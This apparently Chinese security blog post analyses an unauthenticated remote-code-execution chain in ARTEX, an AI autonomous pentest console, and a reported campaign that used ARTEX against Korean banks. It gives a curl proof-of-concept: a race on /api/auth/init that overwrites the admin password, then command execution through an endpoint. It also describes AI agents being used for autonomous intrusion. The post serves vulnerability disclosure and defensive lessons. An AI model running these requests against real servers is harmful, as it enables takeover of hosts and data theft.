【AI渗透-ARTEX技术拆解】自身RCE，也能攻打韩国金融行业~【技术要点：“双图状态管理 + Planner/Worker 分工 + 工具执行全程留痕”】

原创

FL\_Clover
FL\_Clover

网络安全007

2026年10月21日 10:00
广东

去阅读

ARTEX 未认证 RCE 漏洞

一、漏洞事件概述

ARTEX 是一套基于 Go + Next.js 构建的 AI 自主渗透测试控制台，由百度“agent+”攻防挑战赛冠军项目 Autumn-27/ARTEX 开源而来。该产品在 v0.1.0 至 v0.3.14 版本中存在一条完整的未认证攻击链：攻击者无需任何凭据，即可从公网直接获取服务器命令执行权限。

整条链路的核心特征在于——漏洞并非源于某一个单点缺陷，而是由“认证逻辑缺陷”与“产品固有设计”串联而成：前者使攻击者能够覆盖管理员密码并取得 JWT，后者（MCP stdio 传输模式）将已获得的 Web 管理员权限直接兑换为主机层面的子进程执行能力。

二、漏洞影响范围

受影响版本： v0.1.0 ≤ ARTEX ≤ v0.3.14

修复版本： v0.3.15 及以上

暴露面条件： 任何将 ARTEX 服务端口直接映射至公网或可被未认证客户端访问的网络位置，均处于可利用状态。文章原文给出的判据非常直接：“如果你的 ARTEX 版本小于等于 v0.3.14，并且暴露过公网，请立刻去后台看一眼 MCP 列表和审计日志”。

在野利用佐证： 从 PostgreSQL 死元组中恢复出的密码写入时间线显示，在不到 2 秒的窗口内出现了 36 次密码覆盖写入，平均间隔 48 毫秒，而本机单次 bcrypt 耗时约 130 毫秒——串行操作不可能产生这一密度，只能是并发请求持续冲击 /api/auth/init 的结果。此外，MCP 列表中出现了攻击者创建的 /bin/sh 配置项，命令回显包含 uid=1000(iot)，表明命令确实在目标主机上落地执行。

三、漏洞技术要点分析

3.1 根因层：authInit 的 Fail-Open 错误处理

ARTEX 只有一个固定管理员账号，密码的 bcrypt 哈希存储在 PostgreSQL 的 settings 表中，键名为 auth.password\_hash。“设置初始密码”接口 /api/auth/init 在路由层被显式豁免鉴权，其设计意图是仅在首次部署、密码尚未写入时允许调用一次。

守卫逻辑位于 server/auth.go，核心缺陷在于丢弃了 GetSetting 返回的第三个返回值（error） ：

existing, _, _ := pg.GetSetting(authPassKey)if existing != \"\" {    writeErr(w, 403, \"密码已设置\")    return}// ...pg.SetSetting(authPassKey, string(hash)) // UPSERT，直接覆盖tok, _ := signJWT(s.jwtKey)

GetSetting 的契约是：当 sql.ErrNoRows 时返回 (\"\", false, nil)；当数据库查询失败（例如连接池耗尽、连接中断）时返回 (\"\", false, err)。但在调用侧，existing 为空字符串这一事实被不加区分地解释为“系统尚未初始化”——“查不到”与“连接失败”被混为一谈。

于是数据库的一次瞬时不可用，就成了绕过“密码已设置”守卫的入口。文章原文对这一点的概括非常精准：“同一个文件里的登录和改密码接口都老老实实检查了 ok，只有这一个把 error 丢了”。

3.2 触发条件层：连接池未限流

v0.3.14 的 db.Open 未调用 SetMaxOpenConns，应用侧连接数没有上限。攻击者可以通过大量并发的未认证请求（例如反复请求状态接口）将 PostgreSQL 的 max\_connections 顶满，使新的查询收到 sorry, too many clients already 错误，从而制造出 GetSetting 的读失败窗口。而覆盖密码的 SetSetting 调用发生在 bcrypt 计算完成之后，此时连接池中往往已经空出一条连接，因此写入能够成功执行。

3.3 利用放大层：MCP stdio 的“合规”命令执行

MCP 协议本身规定，在 stdio 传输模式下由客户端拉起服务端子进程；ARTEX 将 MCP 配置中的 command 和 args 直接作为子进程执行，这是协议要求的正常行为，不是漏洞。

真正的安全问题在于谁有权配置 MCP：正常情况下只有已登录管理员能够操作 MCP 列表，而攻击者通过前两步已经取得了有效的管理员 JWT，因此获得了“合规地”将 /bin/sh -c \"id; hostname\" 注册为 MCP 服务的权限。

此外，文章还指出了一个独立的权限控制缺陷：自定义工具测试接口 /api/tools/custom/test 直接调用 Bash，未经过命令拦截和审批流程，管理员在后台配置的“破坏性命令禁止”规则对该接口不生效。这意味着即使不经过 MCP，攻击者拿到 JWT 后也可以直接通过该测试接口执行命令，且没有审计记录。

四、漏洞 EXP（利用链与复现要点）

4.1 完整攻击链（四步）

无凭据公网访问  → 并发请求打满 PostgreSQL 连接池  → POST /api/auth/init 在连接失败窗口内覆盖管理员密码  → 获得有效 JWT  → 创建 stdio 类型 MCP（command=/bin/sh, args=[\"-c\",\"...\"])  → 服务器拉起子进程，命令执行

4.2 关键请求（手工 PoC）

Step 1 — 确认目标状态（可选，用于定位初始化状态）：

curl -s http://TARGET:8787/api/auth/status# 正常响应：{\"initialized\":true}

Step 2 — 在数据库读失败窗口内发起未认证初始化：

curl -s -X POST http://TARGET:8787/api/auth/init \\  -H 'Content-Type: application/json' \\  -d '{\"password\":\"***********\"}'# 命中：200 {\"token\":\"eyJ...\"}；未命中：403 {\"error\":\"密码已设置\"}

Step 3 — 使用覆盖后的密码登录：

curl -s -X POST http://TARGET:8787/api/auth/login \\  -H 'Content-Type: application/json' \\  -d '{\"username\":\"ARTEX\",\"password\":\"**********\"}'# 预期：200 {\"token\":\"eyJ...\"}

Step 4 — 通过自定义工具测试接口执行命令：

curl -s -X POST http://TARGET:8787/api/tools/custom/test \\  -H 'Content-Type: application/json' \\  -H \"Authorization: Bearer $TOKEN\" \\  -d '{\"kind\":\"command\",\"exec\":{\"command\":\"id\",\"timeout_ms\":10000},\"params\":{}}'# 预期：200 {\"is_error\":false,\"output\":\"uid=...\"}

4.3 复现路径的工程要点

公开 PoC 存在两条路径：

• 远程竞态路径：高并发请求状态接口打满连接池，同时持续冲击 /api/auth/init，直至某次返回 200。该路径对时序、目标性能和网络条件敏感，成功率不是确定性的。
• 确定性路径 ：在目标与 PostgreSQL 之间插入可控 TCP 代理，主动制造一个短暂（例如 35ms）的数据库不可用窗口，并在该窗口内发起 /api/auth/init，可在 v0.3.14 上实现接近 100% 的命中率。确定性路径的核心思路是将竞态条件从“概率事件”转化为“可控时间窗事件” ，在实验室和授权测试场景中具有更高的工程价值。

关键节点对照表

ARTEX攻击韩国金融机构的详细分析与解读

一、事件全景：不止三家银行，影响远超初始披露

CrowdStrike 原文确认的受影响机构包括韩亚银行、KB国民银行和新韩银行，被入侵系统涉及贷款进度查询服务与员工移动办公支持系统。但后续韩国金融当局的数据显示，新韩、KB、韩亚、釜山银行等 16 家金融机构约 10 万条信息被泄露，Yeogaram 储蓄银行约 4 万客户信息外泄，现代资本则有 146 名房贷营销人员的个人信息被泄露。CrowdStrike 在报告中审慎地表示“受影响机构数量仍未确认”，而实际波及面已从三家大型银行扩展至储蓄银行、资本公司和网络借贷平台。

攻击时间窗口为 2026 年 9 月下旬至 10 月初。CrowdStrike 以“中等信心”评估攻击者很可能为中文使用者、经济动机，依据是中文开发的 ARTEX 与观察到的中文提示词，但未归因于任何命名威胁组织。

事件总时间线（2026-07 至 2026-10-19）

二、攻击基础设施大概拓扑（双服务器 + 代理 + API 经销商）

CrowdStrike 从攻击者控制的开放目录中还原出一条相当完整的操作链。香港 IP 为主要基础设施，其开放目录包含 Claude Code 会话历史、ARTEX 配置文件和 Claude memory 文件；38.244.50[.]120 托管 ARTEX 实例，.claude/CLAUDE.md 中含中文渗透提示词，规定 LLM 应如何开展渗透测试。攻击者使用 9 个代理 IP 辅助活动，并可能通过 xcai[.]pro 这一 LLM API 代理/经销商访问 DeepSeek，ARTEX 以 DeepSeek v4.1-flash 为主模型后端，辅以 GLM-5.3 和 Grok 4.6 用于额外的 Claude Code 会话。

ARTEX 由 Go 后端、Next.js 静态前端（通过 go:embed 内嵌为单一二进制）、PostgreSQL 存储和 norma Agent SDK 组成，Worker 的 Bash/HTTP 操作全程留痕，经由记录型 MITM 代理和审批门。这意味着 ARTEX 不仅在“思考”层面保留了双图状态，在“行动”层面也保留了可审计的工具调用记录。对于攻击者而言，这是操作透明性的来源；对于防御方而言，一旦基础设施暴露，这就是完整的取证金矿。 CrowdStrike 能够还原双服务器架构、模型后端、代理 IP 乃至攻击者寻找韩国数据 Telegram 销售群组的意图，正是建立在这些留痕之上。

一个值得注意的 OPSEC 矛盾是：攻击者使用了 VPS、多代理和 LLM API 经销商来隐藏来源，却将 Claude Code 会话、memory 文件和 .claude/CLAUDE.md 暴露在开放目录中。

AI 代理工作目录的默认开放性——为便于调试和持久化而设计——在未受控的部署环境中成了反溯源的突破口。 这不是 ARTEX 独有的问题，而是当前 AI 代理工具普遍面临的安全配置挑战。

三、ARTEX 技术栈分层

技术栈的执行层“全程留痕”与护栏层“规范性约束”形成不对称——留痕是强制的（记录型 MITM 代理），护栏是自愿的（Scope 声明）。这意味着工具对“事后取证”的保障强于对“事前阻断”的保障。对攻击者而言，留痕在基础设施暴露前是操作便利；暴露后则成为完整攻击链证据。

1.双图架构与锚点连接

双图架构的本质是把“世界模型”与“任务进度”解耦。 资产图（Asset Graph）是跨任务共享的资产真值库，节点层级为 root\_domain → subdomain → ip → service → app → endpoint，父子关系与去重键全部由程序计算，Agent 只提交原始信息，不参与关系推理。探索图（Exploration Graph）则是每个任务独立的推进链，节点为 goal / intent / fact / finding / hint，通过 spawns / derived\_from / yields / proves 等边形成血缘链，回答“哪个探索方向派生自哪些事实、最终产出了什么漏洞”。两图通过 exploration\_anchors(node\_id, asset\_id) 锚点相连，使得系统既能从探索方向回溯其覆盖的资产，也能从某个资产反查它被哪些意图测试过。

2.Planner/Worker 事件驱动循环（时序）

Planner 每次被唤醒时读取探索图态势，仅在存在未覆盖的新方向时才派发意图；Worker 领取意图、调用真实工具执行，将新资产、事实和漏洞写回两图后即停止；引擎是事件驱动的闭环，图一变就唤醒 Planner，形成“探索—决策—执行—写回”的循环，直至目标被证明。传统 LLM 代理在长任务中容易“失忆”或偏离目标，而双图将状态持久化到 PostgreSQL，任务暂停、重启、页面刷新都不会丢失进度。正是这种状态化的自主性，使得 ARTEX 能够在无人逐步干预的情况下完成多步串行利用链，而不是停留在“生成几条命令”的层面。

四、防御启示与总体判断

从事件中可直接提炼的防御优先级：

第一，AI 代理工作目录的暴露面治理应成为独立的安全控制项。

.claude/、CLAUDE.md、ARTEX 配置、Claude memory 文件和会话历史，本质上是包含目标信息、工具输出、操作意图和长期上下文的敏感数据。这些目录不应默认对外监听，应纳入资产测绘和泄露监控。此次攻击的情报突破完全源于开放目录配置失误，这既是攻击者的 OPSEC 缺陷，也提示防御方主动搜索外部暴露的 AI 代理工作目录可能发现早期攻击准备痕迹。

第二，面向内部人员或合作方的“侧门系统”是 AI 加速攻击的首选目标。

贷款进度查询服务、员工移动办公支持系统、房贷营销人员使用的外部网页——这些系统的共同特征是面向可信群体、安全加固弱于核心业务系统、认证机制可能存在批量尝试空间。AI 代理压缩攻击时间窗口的能力，恰恰在这些“低阻力、高价值”的入口上收益最大。对这些系统应优先实施网络层隔离、异常登录频率检测和凭据填充防护。

第三，防御节奏必须与 AI 攻击的时间尺度对齐。

如果“发现到利用”可以压缩至数十分钟，那么依赖数小时或数天响应窗口的传统 SOC 流程将系统性滞后。需要将自动化检测、隔离和凭证轮换前移，并对高风险外部服务的异常行为设置更短的检测-响应闭环。

第四，对 LLM API 代理/经销商和短生命周期代理 IP 的监控应纳入基础设施情报。

xcai[.]pro 这类中间商和 9 个代理 IP 表明，攻击者在模型访问层也在引入匿名化。单纯封禁 IP 不够，需要监控异常 LLM API 出口和未知经销商域名的流量模式。

总体判断

• ARTEX 事件的核心启示不在于“某个开源工具被滥用”这一单点，而在于AI 代理的技术架构正在将“自主多步利用”从概念转化为可操作的能力。
• 双图状态管理解决了长程一致性，Planner/Worker 闭环解决了并行化推进，全程留痕解决了可审计性——这些设计在善意场景中是效率工具，在恶意场景中则是攻击节奏的倍增器。
• 与此同时，护栏的规范性而非强制性、开源的不可逆扩散、以及归因证据的分层特性，共同构成了一个能力扩散快于治理响应的结构性局面。
• 防御方最直接的杠杆，不在于试图阻止 AI 代理工具的存在，而在于收紧这些工具赖以发挥效能的攻击面——暴露的“侧门”、可批量尝试的认证、以及未受控的 AI 工作目录。

参考链接：

https://www[.]crowdstrike[.]com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/https://mp.weixin.qq.com/s/Txv0z4-XTQhibdQsc-iaYQ

项目地址依旧扩散中

https://github.com/chesskuo/ARTEX/

本文技术推断部分基于公开披露信息，具体漏洞细节以正式发布的研究报告为准。本文不构成任何攻击指导性内容，仅用于防御研究与安全教育,不含可直接武器化的完整利用代码。